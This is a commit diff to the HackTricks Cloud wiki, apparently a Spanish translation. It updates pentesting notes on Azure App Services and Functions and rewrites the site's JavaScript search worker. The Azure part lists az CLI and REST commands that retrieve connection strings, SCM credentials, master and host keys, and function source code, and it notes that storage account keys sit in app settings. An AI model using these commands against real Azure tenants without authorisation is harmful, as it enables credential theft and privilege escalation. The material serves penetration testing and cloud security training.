> Simplemente conectarse a través de FTP y modificar el archivo `output.tar.gz` no es suficiente para cambiar el código ejecutado por la webapp.
**Un atacante podría descargar este archivo, modificarlo y volver a subirlo para ejecutar código arbitrario en la aplicación web.**
**Un atacante podría descargar este archivo, modificarlo y volver a subirlo para ejecutar código arbitrario en la webapp.**
### Python desde Github
Este tutorial se basa en el anterior pero utilizando un repositorio de Github.
1. Haz un fork del repositorio msdocs-python-flask-webapp-quickstart en tu cuenta de Github.
2. Crea una nueva aplicación web de Python en Azure.
3. En `Deployment Center`, cambia la fuente, inicia sesión con Github, selecciona el repositorio forkeado y haz clic en `Save`.
1. Haz un fork del repo msdocs-python-flask-webapp-quickstart en tu cuenta de Github.
2. Crea una nueva Web App de Python en Azure.
3. En `Deployment Center`, cambia la fuente, inicia sesión con Github, selecciona el repo forkeado y haz clic en `Save`.
Al igual que en el caso anterior, iniciar sesión en el portal SCM o iniciar sesión a través de FTP permite ver en `/wwwroot` el archivo comprimido `output.tar.gz` que contiene el código de la aplicación web.
Al igual que en el caso anterior, iniciar sesión en el portal SCM o iniciar sesión a través de FTP permite ver en `/wwwroot` el archivo comprimido `output.tar.gz` que contiene el código de la webapp.
> [!TIP]
> Simplemente conectarse a través de FTP y modificar el archivo `output.tar.gz` y volver a activar un despliegue no es suficiente para cambiar el código ejecutado por la aplicación web.
> Simplemente conectarse a través de FTP y modificar el archivo `output.tar.gz` y volver a activar un despliegue no es suficiente para cambiar el código ejecutado por la webapp.
## Escalamiento de Privilegios

View File

@@ -46,7 +46,7 @@ Usando un desencadenador HTTP:
Es posible configurar variables de entorno dentro de una aplicación, que podrían contener información sensible. Además, por defecto se crean las variables de entorno **`AzureWebJobsStorage`** y **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (entre otras). Estas son especialmente interesantes porque **contienen la clave de la cuenta para controlar con PERMISOS COMPLETOS la cuenta de almacenamiento que contiene los datos de la aplicación**. Estas configuraciones también son necesarias para ejecutar el código desde la cuenta de almacenamiento.
Estas variables de entorno o parámetros de configuración también controlan cómo la funcn ejecuta el código, por ejemplo, si **`WEBSITE_RUN_FROM_PACKAGE`** existe, indicará la URL donde se encuentra el código de la aplicación.
Estas variables de entorno o parámetros de configuración también controlan cómo la Function ejecuta el código, por ejemplo, si **`WEBSITE_RUN_FROM_PACKAGE`** existe, indicará la URL donde se encuentra el código de la aplicación.
### **Sandbox de Funciones**
@@ -58,7 +58,7 @@ En una **función de Windows** usando NodeJS, el código se encontraba en **`C:\
Al igual que [**VMs**](vms/index.html), las Functions pueden tener **Identidades Gestionadas** de 2 tipos: Asignadas por el sistema y Asignadas por el usuario.
La **asignada por el sistema** será una identidad gestionada que **solo la función** que la tiene asignada podrá usar, mientras que las **identidades gestionadas asignadas por el usuario** son identidades gestionadas que **cualquier otro servicio de Azure podrá usar**.
La **asignada por el sistema** será una identidad gestionada que **solo la función** que la tiene asignada podrá usar, mientras que las identidades gestionadas **asignadas por el usuario** son identidades gestionadas que **cualquier otro servicio de Azure podrá usar**.
> [!NOTE]
> Al igual que en [**VMs**](vms/index.html), las Functions pueden tener **1 identidad gestionada asignada por el sistema** y **varias asignadas por el usuario**, por lo que siempre es importante intentar encontrar todas ellas si comprometes la función porque podrías ser capaz de escalar privilegios a varias identidades gestionadas desde solo una Function.
@@ -67,14 +67,16 @@ La **asignada por el sistema** será una identidad gestionada que **solo la func
Es posible usar los [**scripts PEASS**](https://github.com/peass-ng/PEASS-ng) para obtener tokens de la identidad gestionada predeterminada desde el punto de metadatos. O podrías obtenerlos **manualmente** como se explica en:
{% embed url="https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm" %}
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
Ten en cuenta que necesitas encontrar una manera de **verificar todas las Identidades Gestionadas que una función tiene adjuntas**, ya que si no lo indicas, el punto de metadatos **solo usará la predeterminada** (consulta el enlace anterior para más información).
Ten en cuenta que necesitas encontrar una manera de **verificar todas las Identidades Gestionadas que una función tiene adjuntas** ya que si no lo indicas, el punto de metadatos **solo usará la predeterminada** (consulta el enlace anterior para más información).
## Claves de Acceso
> [!NOTE]
> Ten en cuenta que no hay permisos RBAC para dar acceso a los usuarios para invocar las funciones. La **invocación de funciones depende del desencadenador** seleccionado cuando se creó y si se seleccionó un desencadenador HTTP, podría ser necesario usar una **clave de acceso**.
> Ten en cuenta que no hay permisos RBAC para dar acceso a los usuarios para invocar las funciones. La **invocación de la función depende del desencadenador** seleccionado cuando se creó y si se seleccionó un desencadenador HTTP, podría ser necesario usar una **clave de acceso**.
Al crear un endpoint dentro de una función usando un **desencadenador HTTP**, es posible indicar el **nivel de autorización de clave de acceso** necesario para activar la función. Hay tres opciones disponibles:
@@ -102,9 +104,9 @@ Al igual que en los App Services, las Functions también admiten autenticación
az-app-services.md
{{#endref}}
### Implementaciones Basadas en Github
### Despliegues Basados en Github
Cuando se genera una función a partir de un repositorio de Github, la consola web de Azure permite **crear automáticamente un flujo de trabajo de Github en un repositorio específico**, de modo que cada vez que se actualice este repositorio, se actualice el código de la función. De hecho, el yaml de Github Action para una función de python se ve así:
Cuando se genera una función a partir de un repositorio de Github, la consola web de Azure permite **crear automáticamente un flujo de trabajo de Github en un repositorio específico** para que cada vez que se actualice este repositorio, se actualice el código de la función. De hecho, el yaml de Github Action para una función de python se ve así:
<details>
@@ -211,10 +213,10 @@ Además, **no se almacenará código fuente en la** cuenta de almacenamiento rel
# List all the functions
az functionapp list
# Get info of 1 funciton (although in the list you already get this info)
az functionapp show --name <app-name> --resource-group <res-group>
## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..."
## This is using a container
# List functions in an function-app (endpoints)
az functionapp function list \
--name <app-name> \
--resource-group <res-group>
# Get details about the source of the function code
az functionapp deployment source show \
@@ -231,6 +233,9 @@ az functionapp config container show \
# Get settings (and privesc to the sorage account)
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
# Get access restrictions
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
# Check if a domain was assigned to a function app
az functionapp config hostname list --webapp-name <app-name> --resource-group <res-group>
@@ -240,22 +245,41 @@ az functionapp config ssl list --resource-group <res-group>
# Get network restrictions
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Get acess restrictions
az functionapp config access-restriction show --name <app-name> --resource-group <res-group>
# Get connection strings
az rest --method POST --uri "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/connectionstrings/list?api-version=2022-03-01"
az rest --method GET --uri "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/configreferences/connectionstrings?api-version=2022-03-01"
# Get SCM credentials
az functionapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Get function, system and master keys
az functionapp keys list --name <app-name> --resource-group <res-group>
# Get Host key
az rest --method POST --uri "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<function-endpoint-name>/listKeys?api-version=2022-03-01"
# Get source code with Master Key of the function
curl "<script_href>?code=<master-key>"
## Python example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
curl "https://<func-app-name>.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" -v
# Get source code using SCM access (Azure permissions or SCM creds)
az rest --method GET \
--url "https://<func-app-name>.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=<master-key>" \
--resource "https://management.azure.com/"
# Get source code with Azure permissions
az rest --url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
## Another example
az rest --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/ConsumptionExample/hostruntime/admin/vfs/HttpExample/index.js?relativePath=1&api-version=2022-03-01"
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
```bash
Get-Command -Module Az.Functions
# Lists all Function Apps in the current subscription or in a specific resource group.

10
theme/elasticlunr.min.js vendored Normal file

File diff suppressed because one or more lines are too long

View File

@@ -1,554 +1,172 @@
/* ────────────────────────────────────────────────────────────────
Polyfill so requestIdleCallback works everywhere (IE 11/Safari)
─────────────────────────────────────────────────────────────── */
if (typeof window.requestIdleCallback !== "function") {
window.requestIdleCallback = function (cb) {
const start = Date.now();
return setTimeout(function () {
cb({
didTimeout: false,
timeRemaining: function () {
return Math.max(0, 50 - (Date.now() - start));
}
});
}, 1);
};
window.cancelIdleCallback = window.clearTimeout;
}
/* ────────────────────────────────────────────────────────────────
search.js
─────────────────────────────────────────────────────────────── */
/* ht_searcher.js ────────────────────────────────────────────────
Dualindex WebWorker search (HackTricks + HackTricksCloud)
· keeps working even if one index fails
· cloud results rendered **blue**
· ⏳ while loading → 🔍 when ready
*/
(() => {
"use strict";
window.search = window.search || {};
(function search(search) {
// Search functionality
//
// You can use !hasFocus() to prevent keyhandling in your key
// event handlers while the user is typing their search.
if (!Mark || !elasticlunr) {
return;
/* ───────────── 0. helpers (main thread) ───────────── */
const clear = el => { while (el.firstChild) el.removeChild(el.firstChild); };
/* ───────────── 1. WebWorker code ─────────────────── */
const workerCode = `
self.window = self;
self.search = self.search || {};
const abs = p => location.origin + p;
/* 1 — elasticlunr */
try { importScripts('https://cdn.jsdelivr.net/npm/elasticlunr@0.9.5/elasticlunr.min.js'); }
catch { importScripts(abs('/elasticlunr.min.js')); }
/* 2 — load a single index (remote → local) */
async function loadIndex(remote, local, isCloud=false){
let rawLoaded = false;
try {
const r = await fetch(remote,{mode:'cors'});
if (!r.ok) throw new Error('HTTP '+r.status);
importScripts(URL.createObjectURL(new Blob([await r.text()],{type:'application/javascript'})));
rawLoaded = true;
} catch(e){ console.warn('remote',remote,'failed →',e); }
if(!rawLoaded){
try { importScripts(abs(local)); rawLoaded = true; }
catch(e){ console.error('local',local,'failed →',e); }
}
//IE 11 Compatibility from https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/startsWith
if (!String.prototype.startsWith) {
String.prototype.startsWith = function(search, pos) {
return this.substr(!pos || pos < 0 ? 0 : +pos, search.length) === search;
};
}
var search_wrap = document.getElementById('search-wrapper'),
search_modal = document.getElementById('search-modal'),
searchbar = document.getElementById('searchbar'),
searchbar_outer = document.getElementById('searchbar-outer'),
searchresults = document.getElementById('searchresults'),
searchresults_outer = document.getElementById('searchresults-outer'),
searchresults_header = document.getElementById('searchresults-header'),
searchicon = document.getElementById('search-toggle'),
content = document.getElementById('content'),
searchindex = null,
doc_urls = [],
results_options = {
teaser_word_count: 30,
limit_results: 30,
},
search_options = {
bool: "AND",
expand: true,
fields: {
title: {boost: 1},
body: {boost: 1},
breadcrumbs: {boost: 0}
}
},
mark_exclude = [],
marker = new Mark(content),
current_searchterm = "",
URL_SEARCH_PARAM = 'search',
URL_MARK_PARAM = 'highlight',
teaser_count = 0,
SEARCH_HOTKEY_KEYCODE = 83,
ESCAPE_KEYCODE = 27,
DOWN_KEYCODE = 40,
UP_KEYCODE = 38,
SELECT_KEYCODE = 13;
function hasFocus() {
return searchbar === document.activeElement;
}
function removeChildren(elem) {
while (elem.firstChild) {
elem.removeChild(elem.firstChild);
}
}
// Helper to parse a url into its building blocks.
function parseURL(url) {
var a = document.createElement('a');
a.href = url;
return {
source: url,
protocol: a.protocol.replace(':',''),
host: a.hostname,
port: a.port,
params: (function(){
var ret = {};
var seg = a.search.replace(/^\?/,'').split('&');
var len = seg.length, i = 0, s;
for (;i<len;i++) {
if (!seg[i]) { continue; }
s = seg[i].split('=');
ret[s[0]] = s[1];
}
return ret;
})(),
file: (a.pathname.match(/\/([^/?#]+)$/i) || [,''])[1],
hash: a.hash.replace('#',''),
path: a.pathname.replace(/^([^/])/,'/$1')
};
}
// Helper to recreate a url string from its building blocks.
function renderURL(urlobject) {
var url = urlobject.protocol + "://" + urlobject.host;
if (urlobject.port != "") {
url += ":" + urlobject.port;
}
url += urlobject.path;
var joiner = "?";
for(var prop in urlobject.params) {
if(urlobject.params.hasOwnProperty(prop)) {
url += joiner + prop + "=" + urlobject.params[prop];
joiner = "&";
}
}
if (urlobject.hash != "") {
url += "#" + urlobject.hash;
}
return url;
}
// Helper to escape html special chars for displaying the teasers
var escapeHTML = (function() {
var MAP = {
'&': '&amp;',
'<': '&lt;',
'>': '&gt;',
'"': '&#34;',
"'": '&#39;'
};
var repl = function(c) { return MAP[c]; };
return function(s) {
return s.replace(/[&<>'"]/g, repl);
};
})();
function formatSearchMetric(count, searchterm) {
if (count == 1) {
return count + " search result for '" + searchterm + "':";
} else if (count == 0) {
return "No search results for '" + searchterm + "'.";
} else {
return count + " search results for '" + searchterm + "':";
}
}
function formatSearchResult(result, searchterms) {
var teaser = makeTeaser(escapeHTML(result.doc.body), searchterms);
teaser_count++;
// The ?URL_MARK_PARAM= parameter belongs inbetween the page and the #heading-anchor
var url = doc_urls[result.ref].split("#");
if (url.length == 1) { // no anchor found
url.push("");
}
// encodeURIComponent escapes all chars that could allow an XSS except
// for '. Due to that we also manually replace ' with its url-encoded
// representation (%27).
var searchterms = encodeURIComponent(searchterms.join(" ")).replace(/\'/g, "%27");
return '<a href="' + path_to_root + url[0] + '?' + URL_MARK_PARAM + '=' + searchterms + '#' + url[1]
+ '" aria-details="teaser_' + teaser_count + '">' + result.doc.breadcrumbs
+ '<span class="teaser" id="teaser_' + teaser_count + '" aria-label="Search Result Teaser">'
+ teaser + '</span>' + '</a>';
}
function makeTeaser(body, searchterms) {
// The strategy is as follows:
// First, assign a value to each word in the document:
// Words that correspond to search terms (stemmer aware): 40
// Normal words: 2
// First word in a sentence: 8
// Then use a sliding window with a constant number of words and count the
// sum of the values of the words within the window. Then use the window that got the
// maximum sum. If there are multiple maximas, then get the last one.
// Enclose the terms in <em>.
var stemmed_searchterms = searchterms.map(function(w) {
return elasticlunr.stemmer(w.toLowerCase());
});
var searchterm_weight = 40;
var weighted = []; // contains elements of ["word", weight, index_in_document]
// split in sentences, then words
var sentences = body.toLowerCase().split('. ');
var index = 0;
var value = 0;
var searchterm_found = false;
for (var sentenceindex in sentences) {
var words = sentences[sentenceindex].split(' ');
value = 8;
for (var wordindex in words) {
var word = words[wordindex];
if (word.length > 0) {
for (var searchtermindex in stemmed_searchterms) {
if (elasticlunr.stemmer(word).startsWith(stemmed_searchterms[searchtermindex])) {
value = searchterm_weight;
searchterm_found = true;
}
};
weighted.push([word, value, index]);
value = 2;
}
index += word.length;
index += 1; // ' ' or '.' if last word in sentence
};
index += 1; // because we split at a two-char boundary '. '
};
if (weighted.length == 0) {
return body;
}
var window_weight = [];
var window_size = Math.min(weighted.length, results_options.teaser_word_count);
var cur_sum = 0;
for (var wordindex = 0; wordindex < window_size; wordindex++) {
cur_sum += weighted[wordindex][1];
};
window_weight.push(cur_sum);
for (var wordindex = 0; wordindex < weighted.length - window_size; wordindex++) {
cur_sum -= weighted[wordindex][1];
cur_sum += weighted[wordindex + window_size][1];
window_weight.push(cur_sum);
};
if (searchterm_found) {
var max_sum = 0;
var max_sum_window_index = 0;
// backwards
for (var i = window_weight.length - 1; i >= 0; i--) {
if (window_weight[i] > max_sum) {
max_sum = window_weight[i];
max_sum_window_index = i;
}
};
} else {
max_sum_window_index = 0;
}
// add <em/> around searchterms
var teaser_split = [];
var index = weighted[max_sum_window_index][2];
for (var i = max_sum_window_index; i < max_sum_window_index+window_size; i++) {
var word = weighted[i];
if (index < word[2]) {
// missing text from index to start of `word`
teaser_split.push(body.substring(index, word[2]));
index = word[2];
}
if (word[1] == searchterm_weight) {
teaser_split.push("<em>")
}
index = word[2] + word[0].length;
teaser_split.push(body.substring(word[2], index));
if (word[1] == searchterm_weight) {
teaser_split.push("</em>")
}
};
return teaser_split.join('');
}
function init(config) {
results_options = config.results_options;
search_options = config.search_options;
searchbar_outer = config.searchbar_outer;
doc_urls = config.doc_urls;
searchindex = elasticlunr.Index.load(config.index);
// Set up events
searchicon.addEventListener('click', function(e) { searchIconClickHandler(); }, false);
search_wrap.addEventListener('click', function(e) { searchIconClickHandler(); }, false);
search_modal.addEventListener('click', function(e) { e.stopPropagation(); }, false);
searchbar.addEventListener('keyup', function(e) { searchbarKeyUpHandler(); }, false);
document.addEventListener('keydown', function(e) { globalKeyHandler(e); }, false);
// If the user uses the browser buttons, do the same as if a reload happened
window.onpopstate = function(e) { doSearchOrMarkFromUrl(); };
// Suppress "submit" events so the page doesn't reload when the user presses Enter
document.addEventListener('submit', function(e) { e.preventDefault(); }, false);
// If reloaded, do the search or mark again, depending on the current url parameters
doSearchOrMarkFromUrl();
}
function unfocusSearchbar() {
// hacky, but just focusing a div only works once
var tmp = document.createElement('input');
tmp.setAttribute('style', 'position: absolute; opacity: 0;');
searchicon.appendChild(tmp);
tmp.focus();
tmp.remove();
}
// On reload or browser history backwards/forwards events, parse the url and do search or mark
function doSearchOrMarkFromUrl() {
// Check current URL for search request
var url = parseURL(window.location.href);
if (url.params.hasOwnProperty(URL_SEARCH_PARAM)
&& url.params[URL_SEARCH_PARAM] != "") {
showSearch(true);
searchbar.value = decodeURIComponent(
(url.params[URL_SEARCH_PARAM]+'').replace(/\+/g, '%20'));
searchbarKeyUpHandler(); // -> doSearch()
} else {
showSearch(false);
}
if (url.params.hasOwnProperty(URL_MARK_PARAM)) {
var words = decodeURIComponent(url.params[URL_MARK_PARAM]).split(' ');
marker.mark(words, {
exclude: mark_exclude
});
var markers = document.querySelectorAll("mark");
function hide() {
for (var i = 0; i < markers.length; i++) {
markers[i].classList.add("fade-out");
window.setTimeout(function(e) { marker.unmark(); }, 300);
}
}
for (var i = 0; i < markers.length; i++) {
markers[i].addEventListener('click', hide);
}
}
}
// Eventhandler for keyevents on `document`
function globalKeyHandler(e) {
if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey || e.target.type === 'textarea' || e.target.type === 'text' || !hasFocus() && /^(?:input|select|textarea)$/i.test(e.target.nodeName)) { return; }
if (e.keyCode === ESCAPE_KEYCODE) {
e.preventDefault();
searchbar.classList.remove("active");
setSearchUrlParameters("",
(searchbar.value.trim() !== "") ? "push" : "replace");
if (hasFocus()) {
unfocusSearchbar();
}
showSearch(false);
marker.unmark();
} else if (!hasFocus() && e.keyCode === SEARCH_HOTKEY_KEYCODE) {
e.preventDefault();
showSearch(true);
window.scrollTo(0, 0);
searchbar.select();
} else if (hasFocus() && e.keyCode === DOWN_KEYCODE) {
e.preventDefault();
unfocusSearchbar();
searchresults.firstElementChild.classList.add("focus");
} else if (!hasFocus() && (e.keyCode === DOWN_KEYCODE
|| e.keyCode === UP_KEYCODE
|| e.keyCode === SELECT_KEYCODE)) {
// not `:focus` because browser does annoying scrolling
var focused = searchresults.querySelector("li.focus");
if (!focused) return;
e.preventDefault();
if (e.keyCode === DOWN_KEYCODE) {
var next = focused.nextElementSibling;
if (next) {
focused.classList.remove("focus");
next.classList.add("focus");
}
} else if (e.keyCode === UP_KEYCODE) {
focused.classList.remove("focus");
var prev = focused.previousElementSibling;
if (prev) {
prev.classList.add("focus");
} else {
searchbar.select();
}
} else { // SELECT_KEYCODE
window.location.assign(focused.querySelector('a'));
}
}
}
function showSearch(yes) {
if (yes) {
search_wrap.classList.remove('hidden');
searchicon.setAttribute('aria-expanded', 'true');
} else {
search_wrap.classList.add('hidden');
searchicon.setAttribute('aria-expanded', 'false');
var results = searchresults.children;
for (var i = 0; i < results.length; i++) {
results[i].classList.remove("focus");
}
}
}
function showResults(yes) {
if (yes) {
searchresults_outer.classList.remove('hidden');
} else {
searchresults_outer.classList.add('hidden');
}
}
// Eventhandler for search icon
function searchIconClickHandler() {
if (search_wrap.classList.contains('hidden')) {
showSearch(true);
window.scrollTo(0, 0);
searchbar.select();
} else {
showSearch(false);
}
}
// Eventhandler for keyevents while the searchbar is focused
function searchbarKeyUpHandler() {
var searchterm = searchbar.value.trim();
if (searchterm != "") {
searchbar.classList.add("active");
doSearch(searchterm);
} else {
searchbar.classList.remove("active");
showResults(false);
removeChildren(searchresults);
}
setSearchUrlParameters(searchterm, "push_if_new_search_else_replace");
// Remove marks
marker.unmark();
}
// Update current url with ?URL_SEARCH_PARAM= parameter, remove ?URL_MARK_PARAM and #heading-anchor .
// `action` can be one of "push", "replace", "push_if_new_search_else_replace"
// and replaces or pushes a new browser history item.
// "push_if_new_search_else_replace" pushes if there is no `?URL_SEARCH_PARAM=abc` yet.
function setSearchUrlParameters(searchterm, action) {
var url = parseURL(window.location.href);
var first_search = ! url.params.hasOwnProperty(URL_SEARCH_PARAM);
if (searchterm != "" || action == "push_if_new_search_else_replace") {
url.params[URL_SEARCH_PARAM] = searchterm;
delete url.params[URL_MARK_PARAM];
url.hash = "";
} else {
delete url.params[URL_MARK_PARAM];
delete url.params[URL_SEARCH_PARAM];
}
// A new search will also add a new history item, so the user can go back
// to the page prior to searching. A updated search term will only replace
// the url.
if (action == "push" || (action == "push_if_new_search_else_replace" && first_search) ) {
history.pushState({}, document.title, renderURL(url));
} else if (action == "replace" || (action == "push_if_new_search_else_replace" && !first_search) ) {
history.replaceState({}, document.title, renderURL(url));
}
}
function doSearch(searchterm) {
// Don't search the same twice
if (current_searchterm == searchterm) { return; }
else { current_searchterm = searchterm; }
if (searchindex == null) { return; }
// Do the actual search
var results = searchindex.search(searchterm, search_options);
var resultcount = Math.min(results.length, results_options.limit_results);
// Display search metrics
searchresults_header.innerText = formatSearchMetric(resultcount, searchterm);
// Clear and insert results
var searchterms = searchterm.split(' ');
removeChildren(searchresults);
for(var i = 0; i < resultcount ; i++){
var resultElem = document.createElement('li');
resultElem.innerHTML = formatSearchResult(results[i], searchterms);
searchresults.appendChild(resultElem);
}
// Display results
showResults(true);
}
(async function loadSearchIndex(lang = window.lang || "en") {
const branch = lang === "en" ? "master" : lang;
const rawUrl =
`https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/${branch}/searchindex.js`;
const localJs = "/searchindex.js";
const TIMEOUT_MS = 10_000;
const injectScript = (src) =>
new Promise((resolve, reject) => {
const s = document.createElement("script");
s.src = src;
s.onload = () => resolve(src);
s.onerror = (e) => reject(e);
document.head.appendChild(s);
if(!rawLoaded) return null; /* give up on this index */
const data = { json:self.search.index, urls:self.search.doc_urls, cloud:isCloud };
delete self.search.index; delete self.search.doc_urls;
return data;
}
(async () => {
const MAIN_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/refs/heads/master/searchindex.js';
const CLOUD_RAW = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/searchindex.js';
const indices = [];
const main = await loadIndex(MAIN_RAW , '/searchindex-book.js', false); if(main) indices.push(main);
const cloud= await loadIndex(CLOUD_RAW, '/searchindex.js', true ); if(cloud) indices.push(cloud);
if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; }
/* build index objects */
const built = indices.map(d => ({
idx : elasticlunr.Index.load(d.json),
urls: d.urls,
cloud: d.cloud,
base: d.cloud ? 'https://cloud.hacktricks.wiki/' : ''
}));
postMessage({ready:true});
const MAX = 30, opts = {bool:'AND', expand:true};
self.onmessage = ({data:q}) => {
if(!q){ postMessage([]); return; }
const all = [];
for(const s of built){
const res = s.idx.search(q,opts);
if(!res.length) continue;
const max = res[0].score || 1;
res.forEach(r => {
const doc = s.idx.documentStore.getDoc(r.ref);
all.push({
norm : r.score / max,
title: doc.title,
body : doc.body,
breadcrumbs: doc.breadcrumbs,
url : s.base + s.urls[r.ref],
cloud: s.cloud
});
try {
/* 1 — download raw JS from GitHub */
const controller = new AbortController();
const timer = setTimeout(() => controller.abort(), TIMEOUT_MS);
const res = await fetch(rawUrl, { signal: controller.signal });
clearTimeout(timer);
if (!res.ok) throw new Error(`HTTP ${res.status}`);
/* 2 — wrap in a Blob so the browser sees application/javascript */
const code = await res.text();
const blobUrl = URL.createObjectURL(
new Blob([code], { type: "application/javascript" })
);
/* 3 — execute it */
await injectScript(blobUrl);
/* ───────────── PATCH ─────────────
heavy parsing now deferred to idle time
*/
requestIdleCallback(() => init(window.search));
return; // ✔ UI remains responsive
} catch (eRemote) {
console.warn("Remote JS failed →", eRemote);
}
/* ───────── fallback: local copy ───────── */
try {
await injectScript(localJs);
/* ───────────── PATCH ───────────── */
requestIdleCallback(() => init(window.search));
return;
} catch (eLocal) {
console.error("Local JS failed →", eLocal);
}
})();
// Exported functions
search.hasFocus = hasFocus;
})(window.search);
});
}
all.sort((a,b)=>b.norm-a.norm);
postMessage(all.slice(0,MAX));
};
})();
`;
/* ───────────── 2. spawn worker ───────────── */
const worker = new Worker(URL.createObjectURL(new Blob([workerCode],{type:'application/javascript'})));
/* ───────────── 3. DOM refs ─────────────── */
const wrap = document.getElementById('search-wrapper');
const bar = document.getElementById('searchbar');
const list = document.getElementById('searchresults');
const listOut = document.getElementById('searchresults-outer');
const header = document.getElementById('searchresults-header');
const icon = document.getElementById('search-toggle');
const READY_ICON = icon.innerHTML;
icon.textContent = '⏳';
icon.setAttribute('aria-label','Loading search …');
const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13;
let debounce, teaserCount=0;
/* ───────────── helpers (teaser, metric) ───────────── */
const escapeHTML = (()=>{const M={'&':'&amp;','<':'&lt;','>':'&gt;','"':'&#34;','\'':'&#39;'};return s=>s.replace(/[&<>'"]/g,c=>M[c]);})();
const URL_MARK='highlight';
function metric(c,t){return c?`${c} search result${c>1?'s':''} for '${t}':`:`No search results for '${t}'.`;}
function makeTeaser(body,terms){
const stem=w=>elasticlunr.stemmer(w.toLowerCase());
const T=terms.map(stem),W_S=40,W_F=8,W_N=2,WIN=30;
const W=[],sents=body.toLowerCase().split('. ');
let i=0,v=W_F,found=false;
sents.forEach(s=>{v=W_F; s.split(' ').forEach(w=>{ if(w){ if(T.some(t=>stem(w).startsWith(t))){v=W_S;found=true;} W.push([w,v,i]); v=W_N;} i+=w.length+1; }); i++;});
if(!W.length) return body;
const win=Math.min(W.length,WIN);
const sums=[W.slice(0,win).reduce((a,[,wt])=>a+wt,0)];
for(let k=1;k<=W.length-win;k++) sums[k]=sums[k-1]-W[k-1][1]+W[k+win-1][1];
const best=found?sums.lastIndexOf(Math.max(...sums)):0;
const out=[]; i=W[best][2];
for(let k=best;k<best+win;k++){const [w,wt,pos]=W[k]; if(i<pos){out.push(body.substring(i,pos)); i=pos;} if(wt===W_S) out.push('<em>'); out.push(body.substr(pos,w.length)); if(wt===W_S) out.push('</em>'); i=pos+w.length;}
return out.join('');
}
function format(d,terms){
const teaser=makeTeaser(escapeHTML(d.body),terms);
teaserCount++;
const enc=encodeURIComponent(terms.join(' ')).replace(/'/g,'%27');
const parts=d.url.split('#'); if(parts.length===1) parts.push('');
const abs=d.url.startsWith('http');
const href=`${abs?'':path_to_root}${parts[0]}?${URL_MARK}=${enc}#${parts[1]}`;
const style=d.cloud?" style=\"color:#1e88e5\"":"";
const isCloud=d.cloud?" [Cloud]":" [Book]";
return `<a href="${href}" aria-details="teaser_${teaserCount}"${style}>`+
`${d.breadcrumbs}${isCloud}<span class="teaser" id="teaser_${teaserCount}" aria-label="Search Result Teaser">${teaser}</span></a>`;
}
/* ───────────── UI control ───────────── */
function showUI(s){wrap.classList.toggle('hidden',!s); icon.setAttribute('aria-expanded',s); if(s){window.scrollTo(0,0); bar.focus(); bar.select();} else {listOut.classList.add('hidden'); [...list.children].forEach(li=>li.classList.remove('focus'));}}
function blur(){const t=document.createElement('input'); t.style.cssText='position:absolute;opacity:0;'; icon.appendChild(t); t.focus(); t.remove();}
icon.addEventListener('click',()=>showUI(wrap.classList.contains('hidden')));
document.addEventListener('keydown',e=>{
if(e.altKey||e.ctrlKey||e.metaKey||e.shiftKey) return;
const f=/^(?:input|select|textarea)$/i.test(e.target.nodeName);
if(e.keyCode===HOT && !f){e.preventDefault(); showUI(true);} else if(e.keyCode===ESC){e.preventDefault(); showUI(false); blur();}
else if(e.keyCode===DOWN && document.activeElement===bar){e.preventDefault(); const first=list.firstElementChild; if(first){blur(); first.classList.add('focus');}}
else if([DOWN,UP,ENTER].includes(e.keyCode) && document.activeElement!==bar){const cur=list.querySelector('li.focus'); if(!cur) return; e.preventDefault(); if(e.keyCode===DOWN){const nxt=cur.nextElementSibling; if(nxt){cur.classList.remove('focus'); nxt.classList.add('focus');}} else if(e.keyCode===UP){const prv=cur.previousElementSibling; cur.classList.remove('focus'); if(prv){prv.classList.add('focus');} else {bar.focus();}} else {const a=cur.querySelector('a'); if(a) window.location.assign(a.href);}}
});
bar.addEventListener('input',e=>{ clearTimeout(debounce); debounce=setTimeout(()=>worker.postMessage(e.target.value.trim()),120); });
/* ───────────── worker messages ───────────── */
worker.onmessage = ({data}) => {
if(data && data.ready!==undefined){
if(data.ready){ icon.innerHTML=READY_ICON; icon.setAttribute('aria-label','Open search (S)'); }
else { icon.textContent='❌'; icon.setAttribute('aria-label','Search unavailable'); }
return;
}
